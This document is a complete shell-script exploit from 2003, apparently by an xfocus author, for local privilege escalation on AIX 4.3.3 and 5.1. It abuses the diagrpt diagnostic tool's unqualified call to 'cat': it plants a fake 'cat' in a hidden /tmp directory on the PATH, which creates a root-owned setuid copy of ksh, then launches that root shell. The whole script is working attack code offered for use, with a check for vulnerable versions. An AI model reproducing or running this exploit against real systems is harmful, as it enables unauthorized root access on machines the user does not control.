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- #!/bin/sh
- # FileName: x_diagrpt.sh
- # Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell.
- # Tested : on Aix4.3.3 & Aix5.1.
- # Author : watercloud@xfocus.org
- # Site : www.xfocus.org www.xfocus.net
- # Date : 2003-5-23
- # Announce: use as your owner risk!
- #
- # Note :
- # It does not work on all versions of tsm command.
- # Use this command to test if your version can exploit or not :
- # bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat
- # diagrpt.cat
- # cat %s <--- here ! have the bug !!! can exploit!
- #
-
- O_DIR=`/bin/pwd`
- cd /tmp ; mkdir .ex$$ ; cd .ex$$
- PATH=/tmp/.ex$$:$PATH ; export PATH
- /bin/cat >cat<<EOF
- #!/bin/ksh -p
- cp /bin/ksh ./kfsh
- chown root ./kfsh
- chmod 777 ./kfsh
- chmod u+s ./kfsh
- EOF
- chmod a+x cat
-
- DIAGDATADIR=/tmp/.ex$$ ; export DIAGDATADIR
- touch /tmp/.ex$$/diagrpt1.dat
-
- /usr/lpp/diagnostics/bin/diagrpt -o 010101
- stty echo
- stty intr '^C' erase '^H' eof '^D' eol '^@'
-
- if [ -e ./kfsh ] ;then
- echo ""
- echo "===================="
- pwd
- ls -l ./kfsh
- echo "Exploit ok ! Use this command to get a uid=0 shell :"
- echo '/usr/bin/syscall setreuid 0 0 \; execve "/bin/sh" '
- ./kfsh
- else
- echo ""
- echo "Exploit false !!!!"
- fi
-
- cd /tmp ; /bin/rm -Rf /tmp/.ex$$ ;cd $O_DIR
- #EOF
-